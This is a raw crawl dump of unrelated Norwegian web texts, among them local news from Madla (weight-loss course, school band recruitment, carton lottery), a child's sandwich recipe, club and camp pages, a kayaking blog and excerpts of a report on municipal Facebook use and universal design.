har v\u00e6rt gjennom en vektreduksjon. Da kjenner hun til utfordringene og kan dele erfaringer. Hun f\u00f8ler s\u00e6rlig hun kan relatere seg til kursdeltakerne siden hun er ung og kurser unge. Det er jo ofte i denne alderen man begynner \u00e5 f\u00e5 et anstrengt forhold til mat. Dette programmet lar deg f\u00e5 lov til \u00e5 spise alt og heller fokusere p\u00e5 porsjonene du spiser, forteller Serigstad. Det var noe av det som var avgj\u00f8rende for at dette kurset fungerte for henne. Serigstad synes ikke det var kjekt for eksempel \u00e5 komme i forening \u00e5 ikke kunne spise det som verten hadde laget. N\u00e5 kan jeg spise alt, men med m\u00e5te, sier hun. Etterlyser menn Hun p\u00e5peker at dersom du ligger for lavt p\u00e5 kaloriene vil du g\u00e5 ned i vekt, men legge p\u00e5 deg igjen n\u00e5r du begynner \u00e5 spise normalt. Det er viktig \u00e5 spise nok. Med dette programmet g\u00e5r du seint ned i vekt, s\u00e5nn 0,5-1 kilo i uka, men du slipper \u00e5 unng\u00e5 noen matprodukter, sier Serigstad. Hun forteller at mange av kursdeltakerne hennes blir overrasket over hva de faktisk kan spise. Det er lett \u00e5 bli forvirret n\u00e5r man en dag leser at melk er usunt og en annen dag er det ikke det, sier kurslederen. P\u00e5 kursene hennes er det bare jenter, selv om det ikke er noen regler for det. Vi har egne kurs for menn ogs\u00e5, men jeg oppfordrer flere menn til \u00e5 komme p\u00e5 disse kursene ogs\u00e5, sier Serigstad. I tillegg til henne er det ei annen som har standardkurser i Grete Roede-metoden for beboerne p\u00e5 Madla. 7 tips fra Rita MOTIVERER: Rita Serigstad \u00f8nsker \u00e5 inspirere andre til \u00e5 spise riktig og g\u00e5 ned i vekt, slik som hun selv gjorde. (FOTO: ) 1. Spis litt lite, men ofte. Gjerne med 3-4 timers mellomrom. 2. G\u00e5 mye, gjerne en halvtime hver dag. 3. Drikk mye vann. 4. Tren styrke minst 20 minutter tre ganger i uken. Dette spesielt hvis du slanker deg, da opprettholder du forbrenningen. 5. Ikke v\u00e6r redd for matvarer. Hvis du skiller ut noe, har du bare mer lyst p\u00e5 det. 6. Velg grovt, det holder deg lengre mett. 7. Spis minst mulig sukker.\n\n\n\n\n\n16 16 torsdag 21. juni 2012 Fikk lyd: Etter noen fors\u00f8k fikk Angelina Cobb noen melodier ut av instrumentet. Ivrige musikkspirer Seks andreklassinger hadde m\u00f8tt opp til \u00e5rets aspirantrekruttering i Kvernevik skolekorps. Der fikk de pr\u00f8ve ut alle instrumentene, og var veldig forn\u00f8yd med \u00e5 f\u00e5 lyd i alle hver gang. Vet noen hva dette kalles?, sp\u00f8r Elsa Birkedal, aspirantkontakt i skolekorpset. En trompet, sier en av de ivrige andreklassingene. Nesten, dette er en kornett, svarer Birkedal. I begynnelsen av juni arrangerte Kvernevik skolekorps sin \u00e5rlige rekrutteringskveld for aspiranter. Det er alltid spennende \u00e5 se hvor mange som kommer, sier Elin Bjerke, styreleder, f\u00f8r samlingen starter. Bare jenter Litt etter litt detter det inn med barn og foreldre, og til slutt er seks unge musikkspirer p\u00e5 plass. For \u00e5 begynne i skolekorpset m\u00e5 du g\u00e5 i tredjeklasse. Det er derfor de avtroppende andreklassingene som m\u00f8ter p\u00e5 denne rekrutteringskvelden. Det f\u00f8rste \u00e5ret i korpset er du aspirant, etter ett \u00e5r blir du junior og s\u00e5 blir du musikant i hovedkorpset, forteller Birkedal til jentene. For det er bare jenter som har m\u00f8tt opp p\u00e5 denne kvelden. Er dette alle som skal begynne i korpset, sier en av jentene med store \u00f8yne og ser seg rundt p\u00e5 de fem andre som har m\u00f8tt opp. Det kan hende det blir enda flere, sier Birkedal. Ble inspirerte Disse andreklassingene har v\u00e6rt publikum p\u00e5 en tredjetrinnsforestilling i regi av korpset og har f\u00e5tt veldig lyst til \u00e5 bli musikanter selv. Som aspiranter f\u00e5r dere v\u00e6re med \u00e5 spille p\u00e5 17. mai og f\u00e5r reise p\u00e5 \u00f8vingshelg. I tillegg har vi en aspiranttur til en leir hvor dere kan f\u00e5 ri p\u00e5 hest, klatre og bade, forteller Birkedal. F\u00e5r vi v\u00e6re med der n\u00e5?, sp\u00f8r ei av jentene. Dere m\u00e5 nok vente til neste \u00e5r, sier Birkedal. Alle fikk pr\u00f8ve M\u00e5let med denne kvelden er f\u00f8rst og fremst at de kommende aspirantene skal f\u00e5 pr\u00f8ve ut instrumentene, teste hva de f\u00e5r lyd i og hva de \u00f8nsker \u00e5 spille p\u00e5. F\u00f8rst tar Birkedal en gjennomgang av de instrumentene som aspirantene kan f\u00e5 l\u00e5ne av korpset. Det er baryton, kornett, klarinett, fl\u00f8yte og trombone. S\u00e5 f\u00e5r andreklassingene pr\u00f8ve dem selv. Angelina Cobb pr\u00f8ver f\u00f8rst kornetten, hun sliter litt med \u00e5 presse luften riktig ut for \u00e5 f\u00e5 lyd. Men s\u00e5: Jeg klarte det, str\u00e5ler hun. Deretter g\u00e5r de andre instrumentene lekende lett. Cobb er likevel klar p\u00e5 hva som var hennes favoritt n\u00e5r hun har f\u00e5tt pr\u00f8vd ut alle de fem instrumentene. Jeg vil spille p\u00e5 den svarte fl\u00f8yten, den fikk jeg aller best lyd i. Det var bare \u00e5 tute i den, sier hun. Det er alts\u00e5 en klarinett hun snakker om. Musikanter i familien Faren hennes er fra Louisana, s\u00e5 han ville aller helst at hun skulle spille saxofon. Han er veldig glad i jazz, sier moren Marina Matveeva. Selv spiller hun ikke noe instrument, men er dansel\u00e6rer p\u00e5 kulturskolen. Men bestefaren hennes spiller piano, s\u00e5 Angelina har spilt litt siden hun var liten baby. Hun elsker ogs\u00e5 blues, sier moren. Hun synes at korpset er en bra ting for barna. Angelina ville gjerne spille, og det er viktig med kultur for barna, sier Matveeva. Like bra som i fjor Elin Bjerke forteller at denne kvelden gikk s\u00e5nn noenlunde likt som i fjor. Det var omtrent like mange som i fjor, men vi regner med at det kommer enda flere til h\u00f8s-\n\n\n\n17 TORSDAG 21. JUNI Vekst i Kvernevikkorpset TERPET P\u00c5 TONENE: Kvernevik skolekorps sitt hovedkorps har felles\u00f8vinger en gang i uka. F\u00d8RSTE BL\u00c5S: Angelina Cobb er spent p\u00e5 om hun klarer \u00e5 f\u00e5 lyd i kornetten. Elsa Birkedal, aspirantkontakt i Kvernevik skolekorps, viser hvordan hun skal holde instrumentet. (Alle foto: ) Utvikling i skolekorpset i Kvernevik har bare g\u00e5tt fremover de siste \u00e5rene. De har g\u00e5tt fra ni musikanter i hovedkorpset til hele 22 medlemmer. Vi er inne i en positiv utvikling n\u00e5, sier Elin Bjerke, styremedlem i Kvernevik skolekorps. En stund var de bare ni medlemmer i hovedkorpset, men etter en oppblomstring de siste \u00e5rene er tallet p\u00e5 hele 22 musikanter. I tillegg hadde vi jo hele 15 aspiranter i fjor, s\u00e5 vi er inne i en god steam, sier Bjerke. Godt milj\u00f8 I fjor fylte Kvernevik skolekorps 40 \u00e5r og det feiret de med en korpstur til Spania. Vi pr\u00f8ver \u00e5 ta en utenlandstur annen hvert \u00e5r, sier Bjerke. I \u00e5r skal de derimot ikke lenger enn til Mandal. Korpset er ikke s\u00e5 aktive i konkurransesammenheng, men har v\u00e6rt med i rogalandmesterskapet noen ganger. Vi har mer fokus p\u00e5 \u00e5 opprettholde et godt milj\u00f8, sier Bjerke. Korpset har en felles\u00f8ving med hovedkorpset i uken, i tillegg kommer individuelle \u00f8velser eller gruppe\u00f8velser. Det blir om lag 2-3 timer \u00f8vinger i uken. Men s\u00e5 m\u00e5 de jo \u00f8ve en del hjemme ogs\u00e5, p\u00e5peker Bjerke, som er mor til to i korpset og selv har spilt fl\u00f8yte. Flere fortsetter Korpset samarbeider med kulturskolen om de individuelle \u00f8velsene. Alderspennet i dette korpset er n\u00e5 fra ni til 17 \u00e5r. Den som har spilt lengst har spilt i syv \u00e5r n\u00e5. De to siste \u00e5rene har vi hatt en tendens til at de fleste fortsetter. Det blir jo ofte en del utskiftninger, men n\u00e5 har vi hatt en stabil gjeng en stund, sier Bjerke. Kvernevik er et Janitsjarkorps, i motsetning til de andre skolekorpsene p\u00e5 Madla som er brassband. Et janitsjarkorps har b\u00e5de trebl\u00e5sere og messingbl\u00e5sere, i tillegg til slagverk. I et brassband er det ikke trebl\u00e5sere, som klarinett og fl\u00f8yte. S\u00e5 vi har litt flere instrumenter \u00e5 besette, sier Bjerke. UNG MUSIKK: Rodas Yonas klarte fint \u00e5 spille litt p\u00e5 kornetten p\u00e5 f\u00f8rste fors\u00f8k. INSTRUKSJONER: Elsa Birkedal, aspirantkontakt i Kvernevik skolekorps, viser jentene hvordan de m\u00e5 bl\u00e5se for \u00e5 f\u00e5 lyd i instrumentet. ten. Ofte er det slik at hvis noen begynner, drar de med seg flere, sier hun. I fjor hadde de hele 15 aspiranter. I \u00e5r er det om lag 70 andreklassinger p\u00e5 skolen. S\u00e5 vi er forn\u00f8yde om vi f\u00e5r ti nye aspiranter i \u00e5r, sier hun. Likevel er det en tendens i skolekorpsene at mange slutter etter det f\u00f8rste \u00e5ret. Hos oss har derimot flesteparten fortsatt fra i fjor. Vi har et godt milj\u00f8 for aspirantene hvor de f\u00e5r reise p\u00e5 tur og blir tatt godt h\u00e5nd om av de eldre musikantene, sier Bjerke. Alle fikk lyd Hun er spesielt imponert over andreklassingene da de pr\u00f8vde instrumentene denne kvelden. De var jo kjempeflinke. Alle fikk lyd i alle instrumentene, sier Bjerke. I et korps har man jo ulike instrumenter man skal besette. Det er derfor ikke alltid mulig at alle kan velge fritt hva de skal spille p\u00e5. De kommende aspirantene f\u00e5r derfor sette opp en \u00f8nskeliste med tre instrumenter, hvor korpsledelsen pr\u00f8ver \u00e5 oppfylle f\u00f8rste\u00f8nske. Noen instrumenter er alltid mer popul\u00e6re enn de andre, som den nette kornetten. Men forel\u00f8pig ser det greit fordelt ut mellom denne gjengen. Vi \u00f8nsker jo at de skal f\u00e5 velge mest mulig selv, slik at de ikke blir presset til \u00e5 spille noe, sier Bjerke.\n\n\n\n19 torsdag 21. juni Andre kartong- Kvernevikveie n H\u00e5land svatn et Friheim vinner fra Madla Sunde 509 Kros sbergveie n Krossbe rg Stok ka vatn et 509 Hafrsfjo rd bru Golfbanen Revheim sveie n Hafrsfjo rden Revheim 509 s\u00f8ndager Kartongvinner: Anne Marie S\u00f8rvig var forn\u00f8yd med \u00e5 f\u00e5 igjen for \u00e5 ha brettet kartonger i en \u00e5rrekke. (Foto: ) Det er kun noen m\u00e5neder siden forrige Madlabu vant kroner i kartonglotteriet. Denne gangen var Anne Marie S\u00f8rvig fra Br\u00e5de den heldige. Anne Marie S\u00f8rvig har brettet kartonger nesten siden kartonglotteriet begynte i Hun var overrasket over at det i det hele tatt var noe lotteri lenger, og trodde nesten det var nedlagt. \u00c5 brette kartongene er et godt og enkelt milj\u00f8tiltak. S\u00e5 det er g\u00f8y og overraskende n\u00e5r jeg vinner noe, sier hun. Ingen milj\u00f8helgen Selv om S\u00f8rvig er milj\u00f8bevisst vil hun likevel presisere at hun ikke er noen milj\u00f8helgen. Man kan alltid gj\u00f8re mer, men det er viktig faktisk \u00e5 gj\u00f8re slike enkle tiltak, sier hun. De kronene hun n\u00e5 f\u00e5r p\u00e5 kontoen sin har hun derimot tenkt \u00e5 bruke p\u00e5 et milj\u00f8vennlig form\u00e5l. Jeg tenkte at en milj\u00f8gevinst b\u00f8r g\u00e5 inn i en gevinst for milj\u00f8et. Derfor vil jeg bruke pengene p\u00e5 \u00e5 skifte ut det elektriske varmeanlegget med en varmepumpe. P\u00e5 den m\u00e5ten kan gevinsten v\u00e6re positivt for milj\u00f8et, sier hun. 124 trekninger i \u00e5ret For \u00e5 delta i kartonglotteriet m\u00e5 man skylle, brette og stappe seks melkekartonger inn i en kartong. Ved \u00e5 skrive navn og telefonnummer p\u00e5 kartongen f\u00e5r man et lodd i lotteriet. Hvert \u00e5r trekkes det ut 124 vinnere. 120 av disse gevinstene er p\u00e5 kroner, mens fire er p\u00e5 hele kroner. Thor Jan Vistnes, gjenvinningskoordiantor i IVAR, forteller at det ofte er de samme som g\u00e5r igjen blant vinnerne. Vi har faktisk noen som har vunnet to ganger. Det er ofte de som har holdt p\u00e5 siden starten som fortsetter. Flere unge burde ogs\u00e5 delta, de har jo behov for pengene de ogs\u00e5, sier han. I desember skrev Hafrsfjord budstikke om Dagfinn Skeie fra Madla som ogs\u00e5 ble trukket ut som vinner av kroner i kartonglotteriet. S\u00f8rvig blir dermed andre personene fra Madla som vinner p\u00e5 bare fem m\u00e5neder. Joseph Bentley, Engelske hageredskaper i eik og rustfritt st\u00e5l av beste kvalitet. Hasselfors Garden, Jord og gj\u00f8dselprodukter Nelson garden, Fr\u00f8 og tilbeh\u00f8r Terasseplanter. Spennende dekorative gressplanter. Planter skreddersydd for terrasse og balkong Hagem\u00f8bler og designkrukker Romantiske roser - blomstrende roser i potter. Roser i ampel. Canna, Solanum, Alstromeria, Lofus og Aeonium. Hardf\u00f8re urteplanter: Wasabi, Mynte, Rosmarin, Timian etc. Sommerblomster i store potter: Cosmos, Coreopsis, Salvie, Spanske margeritter, Astilbe, Centradenia. Utvalg av busker og tr\u00e6r ST. HAnS-FEIRIng AvlyST de siste 30 \u00e5rene har stavanger og Hafrsfjord Lions arrangert en st. Hans-feiring for madlabuene p\u00e5 Pallesentomten. i \u00e5r har vi for f\u00f8rste gang m\u00e5ttet avlyse. grunnen er at vi ikke klarte \u00e5 stille nok medlemmer for \u00e5 kvalitetssikre arrangementet, forteller sekret\u00e6r i klubben Per reidar Bru. Lions club sliter, som andre foreninger, med \u00e5 rekruttere nye medlemmer og gjennomsnittsalderen i klubben \u00f8ker, mens antallet medlemmer synker. Vi har imidlertid en plan for \u00e5 videref\u00f8re tilstelningen fra neste \u00e5r. Vi s\u00f8ker samarbeid med andre for \u00e5 \u00f8ke tilgangen p\u00e5 frivillige slik at denne tradisjonen kan opprettholdes, sier Bru.\n\n\n\n\n### 1\\. Barnets trivsel i barnehagen. Snitt: 5,4 2. Personalets omsorg for barnet: Snitt: 5,3 3. Allsidig lek og aktiviteter: Snitt: 5,2\n\n Brukerunders\u00f8kelsen 2014 Tusen takk for god oppslutning p\u00e5 \u00e5rets brukerunders\u00f8kelse. Bare to besvarelser som uteble, og det er vi forn\u00f8yde med Vi tenkte \u00e5 ta for oss alle sp\u00f8rsm\u00e5lene i brukerunders\u00f8kelsen\n\n", "language": "no", "__index_level_0__": "b7d7b69e-eddd-491d-b684-f19ab5b1e779"}
{"url": "http://www.kokepunktet.no/christians-sandwich/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:42:35Z", "text": "\n# Christians sandwich\n\nSkrevet den, av Odd-Magne Hansen. Arkivert i artikler.\nGi familien din en god start p\u00e5 dagen.\n\n## En god start p\u00e5 dagen\n\nHei, jeg heter Christian og er 10 \u00e5r. Denne helgen er jeg p\u00e5 bes\u00f8k hos onkelen min og har laget favorittsandwichen min. Mens onkel er p\u00e5 kj\u00f8kkenet og lager seg kaffe slik at han vokner og klarer \u00e5 holde f\u00f8lge med meg i dag, skal jeg l\u00e6re dere hvordan dere kan glede resten av familien med \u00e5 vekke dem til nylaget frokost.\u00a0\n\nSett vekkerklokken slik at du vokner 15 minutter f\u00f8r de andre bruker \u00e5 st\u00e5 opp.\u00a0\n\nFinn fram en stor stekepanne og ingrediensene. Listen over ingredienser til h\u00f8yre er beregnet for en person, s\u00e5 du m\u00e5 gange antallet med hvor mange dere er til frokost.\u00a0\n\nSkj\u00e6r gode skiver hvitost med osteh\u00f8velen. Del Polarbr\u00f8dene og skrivene med skinke i to. Legg ost og skinke lagvis p\u00e5 den ene halvdelen p\u00e5 hvert polarbr\u00f8d. Legg til slutt den andre halvdelen med polarbr\u00f8d p\u00e5 toppen.\n\nVarm opp stekepannen p\u00e5 litt over middels varme. Bryteren p\u00e5 onkel sin komfyr g\u00e5r til 9, s\u00e5 jeg setter den p\u00e5 6. S\u00e5 har jeg litt olivenolje i stekepannen, og legger i sandwichene og har p\u00e5 lokk.\u00a0\n\nEtter to-tre minutter snur jeg dem, og steker de p\u00e5 andre siden.\u00a0\n\nSl\u00e5 av platen, og trekk stekepannen til siden.\u00a0\n\nN\u00e5 kan du servere familien nylaget frokost og dermed ogs\u00e5 en god start p\u00e5 dagen.\n\nN\u00e5 kommer onkel tilbake med kaffen, s\u00e5 det er kanskje best at jeg logger ut av bloggen hans.\n\nPs\\! Ha en fin dag videre\\! HADE\\!\\!\\!\\!\\!\\!\\!\\!\\!\\!\n\n#### Ingredienser\n\n  - 1 stk Polarbr\u00f8d\n  - 1 skive kokt skinke (helst Familieskinke)\n  - 2 skiver hvitost\n  - Olivenolje\n\n", "language": "no", "__index_level_0__": "4d4753ce-dd3b-4584-9054-e880b46401a1"}
{"url": "http://mjosdalen.no/about/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-24T23:14:08Z", "text": "# Mj\u00f8sdalen Idrettslag\n\n\n\n# Om MIL\n\nMj\u00f8sdalen I.L. vart oppretta\u00a022.november 1936. Hovudaktivitet har vore friidrett, men i tillegg til l\u00f8p p\u00e5 bane er v\u00e5re medlemar aktive p\u00e5 motbakkel\u00f8p, mosjonsl\u00f8p, trialthon og sykkel. Fokus er p\u00e5 aktivitet og sosialt samv\u00e6r, men\u00a0saman med kvalitet p\u00e5 trenins\u00f8ktene vert dette ogs\u00e5 ei god oppskrift for \u00e5 lukkast i konkurransesamanheng. Mj\u00f8sdalen I.L. har tradisjonelt sett femna om bygdene Hosanger, Fotlandsv\u00e5g, Bysheim og Tysse p\u00e5 Oster\u00f8y. Men vi har ogs\u00e5 mange aktivite medlemar fr\u00e5 andre krinsar p\u00e5 Oster\u00f8y og ikringligjande kommuner.\n\nFlaggskipet v\u00e5rt er sumarkarusellen Holavatnet rundt som har vore arrangert kvart \u00e5r sidan 1983. Karusellen tek til i april og g\u00e5r kvar onsdag i sumarhalv\u00e5ret fram til september m\u00e5nad. Dvs ca 20 l\u00f8p i \u00e5ret. Dei siste \u00e5ra har vi i snitt hatt ca 130 deltakar pr l\u00f8p. Tradisjonsrike r\u00f8ter har ogs\u00e5 Tveitafjellet opp som arrangeres i mai, l\u00f8pet g\u00e5r heilt tilbake til 1971 d\u00e5 som fjell\u00f8pet Tveitafjellet Over. Fom 2006 vart l\u00f8pet eit reint motbakkel\u00f8p med m\u00e5lgang\u00a0p\u00e5 Setnipa, Tveitafjellet\u00a0. Faste arrangement er ogs\u00e5 Kossdalssvingane Opp i november og \u00c5sheimveten Opp i september.\n\n\u00a0\n", "language": "no", "__index_level_0__": "2971f8d1-194f-460d-b6d3-211b237d8182"}
{"url": "https://www.vismer.no/se-45-000-pirajaer-ga-til-angrep-samtidig-du-kommer-aldri-til-a-bade-i-en-elv-i-sor-amerika-etter-dette/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00228.warc.gz", "warc_date": "2018-03-24T23:41:17Z", "text": "24\\. mars 2018\n\n# Se 45 000 pirajaer g\u00e5 til angrep samtidig. Du kommer aldri til \u00e5 bade i en elv i S\u00f8r-Amerika etter dette\u2026.\n\n 18. januar 201631. august 2017 **Redaksjonen **394 Visninger\n\nVi har alle sett fiske piraja p\u00e5 naturfilmer p\u00e5 tv og kanskje ogs\u00e5 i skrekkfilmer. Men det viser seg at de er mye farligere i virkeligheten enn de er p\u00e5 film. I denne brasilianske landsbyen s\u00e5 har de en av verdens h\u00f8yeste forekomster av piraja, og flere personer omkommer hvert \u00e5r fordi de faller i vannet i dette omr\u00e5det. Fisken g\u00e5r i stimer p\u00e5 rundt 45 000 individ og angriper i flokk. Og n\u00e5r de f\u00f8rt angriper s\u00e5 smeller det s\u00e5 det. Det er helt sykt \u00e5 se et slikt antall angripe samtidig og spise helt til beinet p\u00e5 f\u00e5 sekunder.\n\nBildet over er hentet fra en film, s\u00e5 det er ikke ekte. Bare slik det er sagt. Men hadde det v\u00e6rt ekte, s\u00e5 hadde det ikke v\u00e6rt noe kj\u00f8tt igjen p\u00e5 skjelettet. Det blir bekreftet i videoen p\u00e5 neste side.\n\n**Se den vanvittige videoen p\u00e5 neste side. Du kommer til \u00e5 bli sjokkert\\!**\n\nSider: 1 2\n\n", "language": "no", "__index_level_0__": "f9b6ae27-6fc9-47e4-a491-53d436b15be8"}
{"url": "https://sandefjord.dnt.no/aktiviteter/86579/842927/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00088.warc.gz", "warc_date": "2018-03-24T23:28:51Z", "text": "**Dette arrangementet er over\\!**\n\n \nCAMPEN ER FULLTEGNET.\u00a0\n\nVelkommen tilbake n\u00e5r camp 2018 blir annonsert\\!\u00a0\n\nUNGDOMSCAMP - et samarbeid mellom Tekna, avd Vestfold -\u00a0Oslofjordens Friluftsr\u00e5d og Sandefjord Turistforening\n\n**Ungdom mellom 12 -15\u00a0\u00e5r, hold av dagene mellom 8.-11. august.\u00a0**Da er det \u00e5rets beste dager med Newton Camp. Du f\u00e5r noen flotte dager p\u00e5 Malm\u00f8ya i Viksfjord med mye fart og spenning. Blir kjent med nye venner og bare ha fine dager. Vi satser i \u00e5r p\u00e5 vannaktiviteter. Da blir det vannkanoner/vannrakett\u00a0- fl\u00e5tebygging - kano -livet i fj\u00e6ra hvor vi skal sjekke status p\u00e5 vannet, som \u00e5 m\u00e5le temperaturen, sjekke saltinnholdet. Rett og slett vannkjemi. Vi lover dere mye morsomt\\!\u00a0\n\nDu skal ogs\u00e5 delta p\u00e5 matlaging. Her kan vi ogs\u00e5 love dere mye god mat. Alle som tidligere har deltatt p\u00e5 Newton Camp sier at maten er spesielt god\\!\u00a0\n\n**Pris kr 1500\u00a0**\n\n\n\nLivet i Fj\u00e6ra Foto: Peter Anton Meyn\n\n### NEWTON CAMP 2017\n\n", "language": "no", "__index_level_0__": "949f4851-ace8-4717-9e98-a94d692007e7"}
{"url": "http://fotojaktkajakk.no/2013/06/16/beste-padleturen-hittil-i-ar/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:19:17Z", "text": "# Beste padleturen hittil i \u00e5r\n\n16 jun, 2013 \u00a0merket bilder / canon sx 50 / padling / tur  av Thomas \u00d8verb\u00f8\n\n\n\nDet blir en del sm\u00e5-pauser n\u00e5r man har med kamera i flotte omgivelser.\n\nI kveld var det ca 18 grader, sol og n\u00e6rmest flatt vann. Perfekte forhold for en tur p\u00e5 10 km. sammen med fotoapparatet. Ferden startet ved R\u00f8ra badeplass i Eidangerfjorden og utover mot Ormerfjorden og rundt L\u00f8v\u00f8ya. Jeg var ute ca. 19:30 og tilbake 21:30, med sol hele veien og lite vind. I \u00e5r er det enormt mye fugl, og det er stor variasjon hvertfall her jeg padler mest. \u00c6rfugl er det mest av, men i dag s\u00e5 jeg ogs\u00e5 masse siland og kvinand. Jeg er rimelig opptimistisk i forhold til jakta som starter om knappe 4 m\u00e5neder, og jeg h\u00e5per det g\u00e5r an \u00e5 f\u00e5 festet spenningen p\u00e5 film og laget en slags oppf\u00f8lger til den jeg lagde i fjor.\n\nHer er et par bilder fra turen, tatt med Canon SX 50. Det ligger ogs\u00e5 flere bilder p\u00e5 facebooksiden tilknyttet denne bloggen.\n\n  -   \n    Ingangen til Flyndra fra Eidangerfjorden.\n", "language": "no", "__index_level_0__": "0333d82a-eaa7-4853-9ee3-ba2ba99457bf"}
{"url": "http://docplayer.me/4866946-Avgrenset-omfanget-til-bruken-av-kommunenes-helhetlige-offisielle-facebooksider.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00111.warc.gz", "warc_date": "2018-03-25T00:12:49Z", "text": "\n\n2 Forord, funn og hovedkonklusjon Form\u00e5let med denne utredningen er \u00e5 kartlegge Kommune-Norges bruk av sosiale medier og avklare om kravene for universell utforming av IKT gjelder for Kommune-Norges bruk av sosiale medier. Utredningen er finansiert med forskningsmidler fra Deltasenteret i Barne- ungdoms- og familiedirektoratet (Bufdir). Uten disse midlene hadde det ikke latt seg gj\u00f8re \u00e5 gjennomf\u00f8re denne utredningen. Midlene kommer fra Deltasenteres program: Tilskudd til arbeid med universell utforming i Utredningen er ikke \u00e5 betrakte som oppdragsforskning. Alle funn, konklusjoner og r\u00e5d som kommer ut av denne utredningen, er utreders egne og skal ikke sees som tilskuddgivers eller som regjeringens politikk p\u00e5 omr\u00e5det, uten at dette avklares s\u00e6rskilt. Utredningen bygges rundt en empirisk og en juridisk del. Det er Kommune-Norge, sett som gruppe, som er unders\u00f8kt. Den empiriske delen kartlegger Kommune-Norges bruk av sosiale medier, avgrenset til bruken av deres helhetlige offisielle facebooksider 2. Her gjennomf\u00f8res det b\u00e5de en kvalitativ innholdsanalyse og en kvantitativ omfangsanalyse. Den juridiske delen utreder gjeldende lovverk og forskrift for universell utforming av IKT for s\u00e5 \u00e5 holde dette opp mot funnene om Kommune-Norges bruk av sosiale medier. Ogs\u00e5 her har vi 1 2 Formuleringen Kommune-Norges helhetlige offisielle facebooksider er sentral i denne utredningen. Se sidene 5 til 9, for oversikt over og forklaring p\u00e5 utredningens n\u00f8kkelbegrep og formuleringer. avgrenset omfanget til bruken av kommunenes helhetlige offisielle facebooksider. V\u00e5r empiriske unders\u00f8kelse har avdekket en aktivitet p\u00e5 Kommune- Norges helhetlige offisielle facebooksider som tilbyr innbyggerne en omfattende informasjonsutveksling og dialog. B\u00e5de i omfang og innhold er denne en helt annen enn det som er tilfelle p\u00e5 innbyggerportalene til de samme kommunene og fylkeskommunene. N\u00e5r innholdet p\u00e5 Kommune-Norges helhetlige offisielle facebooksider i liten eller ingen grad gjenspeiles eller kan gjenspeiles p\u00e5 innbyggerportalene, er v\u00e5r vurdering at de helhetlige offisielle facebooksidene er IKT-l\u00f8sninger som er underlagt krav til universell utforming, samtidig som de ikke oppfyller disse kravene. Dette skaper et praktisk problem, i og med at Kommune-Norges helhetlige facebooksider er plattformer som styres av den utenlandske kommersielle tredjeparten; Facebook Inc. Per i dag er det ikke mulig for den enkelte kommune eller fylkeskommune selv \u00e5 modifisere funksjonaliteten eller grensesnittet slik at det tilfredsstiller kravene til universell utforming. Kommune-Norges omfattende bruk av helhetlige offisielle facebooksider utfordrer derfor diskrimineringslovens krav om universell utforming. Det er dessuten lite trolig at dagens hjemmel for dispensasjon, slik denne fremstilles i forskrift for universell utforming av IKT, gir Direktoratet for forvaltning og IKT adgang til \u00e5 innvilge Kommune- Norge dispensasjon - p\u00e5 ubestemt tid. Utreders signatur og kontaktinfo I all offentlighet v/ Alf Tore Meling Utredningens prosjekt- og fagansvarlig /\n\n\n\n5 Anbefalinger og forslag om videre forskning og utvikling Kommune-Norge b\u00f8r s\u00f8ke dispensasjon og Difi b\u00f8r finne en praktisk l\u00f8sning Forslag om videre forskning Videre fokus p\u00e5 Kommune-Norge Fokus p\u00e5 \u00f8vrig offentlig sektor Forskning - og utvikling av tekniske l\u00f8sninger Figursamling Figur 1: Innholdsanalysens treff i populasjonen Kommune-Norge Figur 2: Fordeling de tre meldingskategoriene (alle 1255 meldingene) Figur 3: Fordeling lenketyper for alle 1255 meldingene Figur 4: Fordeling lenketyper for kategori Demokrati og tjenestetilbud (631 av 1255 meldinger = 50%) Figur 5: Fordeling lenketyper for kategori Kultur og samfunnsliv (607 av 1255 meldinger = 48%) Figur 6: Fordeling lenketyper for kategori Beredskap og kriser (17 av 1255 = 1%) Tabellsamling Tabell 1: Antall meldinger og kommentarer i Tabell 2: Antall meldinger og kommentarer i de syv analyserte ukene Tabell 3: Tidsperioden og fordeling p\u00e5 ukedager, uker og tidsramme for de 1255 analyserte meldingene Vedlegg 1: Executive summary Vedlegg 2: Juridisk utredning av advokat Jon Wessel-Aas I all offentlighet 2015: Hovedrapport for utredningen Sosiale kommuner og universell utforming. Versjon: 4. februar\n\n.\")\n\n\n\n10 Facebook Inc. ble grunnlagt den 4. februar 2004 i Cambridge Massachusetts, USA. Facebook, som ledes av grunnlegger og administrerende direkt\u00f8r Mark Zuckerberg, er et verdensomspennende kommersielt selskap med tusenvis av ansatte og utviklere. Kommune-Norges helhetlige offisielle driftes dermed p\u00e5 tredjeparts plattform, lagres p\u00e5 tredjeparts servere og videreutvikles f\u00f8lgelig av tredjeparts utviklere. Facebooks tjenester videreutvikles fortl\u00f8pende, b\u00e5de ved jevnlige endringer i kode og ved at det legges til nye tjenester, l\u00f8sninger og funksjoner. Ett av kjennetegnene ved Facebook Inc. er at de holder sin strategi, sin videreutvikling og sine nylanseringer tett til brystet - inntil faktiske lanseringer gjennomf\u00f8res. Kommune-Norge har f\u00f8lgelig verken kontroll eller p\u00e5virkningskraft over utvikling, koding eller lagring, relatert til sine helhetlige offisielle facebooksider. I all offentlighet 2015: Hovedrapport for utredningen Sosiale kommuner og universell utforming. Versjon: 4. februar\n\n\n\n13 Difi: Digitalisering for alle (2104) Difi: Difis nettsted: I tillegg kan Kristin Skeide Fugleruds doktorgradsavhandling nevnes som viktig inspirasjon for mulig videref\u00f8ring av denne utredingen: The challange of ICT, - Inclusive design of ICT (2014). Fra statistisk sentralbyr\u00e5 (SSB) og TNS Gallup er f\u00f8lgende brukt som underlag for denne utredningen: SSB: Folkemengde - \u00e5rleg, berekna 1. januar 2015 SSB: Gruppering av kommuner/ fylkeskommuner (2013) TNS Gallup: Interbuss Q ( TNS) Access Perspectives and Design Values in 